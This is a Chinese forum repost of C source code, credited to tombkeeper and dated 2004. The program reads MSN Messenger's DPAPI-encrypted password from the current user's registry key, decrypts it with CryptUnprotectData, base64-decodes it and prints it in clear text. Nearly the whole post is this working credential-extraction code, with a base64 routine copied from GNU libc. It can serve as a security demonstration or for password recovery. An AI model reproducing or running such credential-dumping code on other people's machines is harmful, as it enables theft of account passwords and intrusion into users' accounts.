发新话题
打印

[转载]从注册表中还原MSNMessenger口令程序源代码

[转载]从注册表中还原MSNMessenger口令程序源代码

文章作者:t0mbkeeper_at_hotmail.com
复制内容到剪贴板
代码:
/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的
* 这个程序演示解码过程
* tombkeeper[0x40]nsfocus[0x2e]com
* tombkeeper[0x40]xfocus[0x2e]net
* 2004.08.11
*/

#include <Windows.h>


#pragma comment(lib, "Advapi32.lib")

#define FCHK(a)    if (!(a)) {printf(#a " failed\n"); return 0;}

typedef struct _CRYPTOAPI_BLOB {
   DWORD cbData;
   BYTE* pbData;
} DATA_BLOB;

typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
   DWORD cbSize;
   DWORD dwPromptFlags;
   HWND hwndApp;
   LPCWSTR szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT, *PCRYPTPROTECT_PROMPTSTRUCT;

typedef BOOL (WINAPI *PCryptUnprotectData)(
   DATA_BLOB* pDataIn,
   LPWSTR* ppszDataDescr,
   DATA_BLOB* pOptionalEntropy,
   PVOID pvReserved,
   CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
   DWORD dwFlags,
   DATA_BLOB* pDataOut
);

PCryptUnprotectData CryptUnprotectData = NULL;


int main(void)
{
   int ret;
   HMODULE hNtdll;

   HKEY hKey;
   DWORD dwType;
   char Data[0x100] = {0};
   DWORD dwSize;

   DATA_BLOB DataIn;
   DATA_BLOB DataOut;

   ret = RegOpenKeyEx
   (
      HKEY_CURRENT_USER,
      "Software\\Microsoft\\MSNMessenger",
      0,
      KEY_READ,
      &hKey
   );
   if( ret != ERROR_SUCCESS ) return 1;

   ret = RegQueryValueEx
   (
      hKey,
      "Password.NET Messenger Service",
      NULL,
      &dwType,
      Data,
      &dwSize
   );
   if( ret != ERROR_SUCCESS ) return 1;

   FCHK ((hNtdll = LoadLibrary ("Crypt32.dll")) != NULL);
   FCHK ((CryptUnprotectData = (PCryptUnprotectData)
        GetProcAddress (hNtdll, "CryptUnprotectData")) != NULL);

   DataIn.pbData = Data + 2;  //口令密文从第二位开始
   DataIn.cbData = dwSize-2;

   CryptUnprotectData
   (
      &DataIn,
      NULL,
      NULL,
      NULL,
      NULL,
      1,
      &DataOut
   );

   base64_decode (DataOut.pbData, Data, strlen(DataOut.pbData));
   printf ( "MSN Password: %s\n", Data);
   return 0;
}

//copied from GNU libc - libc/resolv/base64.c
int base64_decode (char const *src, char *target, size_t targsize)
{
   static const char Base64[] =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
   static const char Pad64 = &#39;=&#39;;

   int tarindex, state, ch;
   char *pos;

   state = 0;
   tarindex = 0;

   while ((ch = *src++) != &#39;\0&#39;)
   {
      if (isspace (ch))      /* Skip whitespace anywhere. */
        continue;

      if (ch == Pad64)
        break;

      pos = strchr (Base64, ch);
      if (pos == 0)         /* A non-base64 character. */
        return (-1);

      switch (state)
      {
        case 0:
        if (target)
        {
           if ((size_t) tarindex >= targsize)
              return (-1);
           target[tarindex] = (pos - Base64) << 2;
        }
        state = 1;
        break;
        case 1:
        if (target)
        {
           if ((size_t) tarindex + 1 >= targsize)
              return (-1);
           target[tarindex] |= (pos - Base64) >> 4;
           target[tarindex + 1] = ((pos - Base64) & 0x0f) << 4;
        }
        tarindex++;
        state = 2;
        break;
        case 2:
        if (target)
        {
           if ((size_t) tarindex + 1 >= targsize)
              return (-1);
           target[tarindex] |= (pos - Base64) >> 2;
           target[tarindex + 1] = ((pos - Base64) & 0x03) << 6;
        }
        tarindex++;
        state = 3;
        break;
        case 3:
        if (target)
        {
           if ((size_t) tarindex >= targsize)
              return (-1);
           target[tarindex] |= (pos - Base64);
        }
        tarindex++;
        state = 0;
        break;
        default:
        abort ();
      }
   }

  /*
  * We are done decoding Base-64 chars.  Let&#39;s see if we ended
  * on a byte boundary, and/or with erroneous trailing characters.
  */

   if (ch == Pad64)
   {                  /* We got a pad char. */
      ch = *src++;          /* Skip it, get next. */
      switch (state)
      {
        case 0:      /* Invalid = in first position */
        case 1:      /* Invalid = in second position */
           return (-1);

        case 2:      /* Valid, means one byte of info */
         /* Skip any number of spaces. */
        for ((void) NULL; ch != &#39;\0&#39;; ch = *src++)
           if (!isspace (ch))
              break;
         /* Make sure there is another trailing = sign. */
        if (ch != Pad64)
           return (-1);
        ch = *src++;       /* Skip the = */
        /* Fall through to "single trailing =" case. */
        /* FALLTHROUGH */

        case 3:      /* Valid, means two bytes of info */
        /*
         * We know this char is an =.  Is there anything but
         * whitespace after it?
        */
        for ((void) NULL; ch != &#39;\0&#39;; ch = *src++)
           if (!isspace (ch))
              return (-1);

        /*
         * Now make sure for cases 2 and 3 that the "extra"
         * bits that slopped past the last full byte were
         * zeros.  If we don&#39;t check them, they become a
         * subliminal channel.
         */
        if (target && target[tarindex] != 0)
           return (-1);
      }
   }
   else
   {
      /*
      * We ended by seeing the end of the string.  Make sure we
      * have no partial bytes lying around.
      */
      if (state != 0)
        return (-1);
   }

   return (tarindex);
}

TOP

发新话题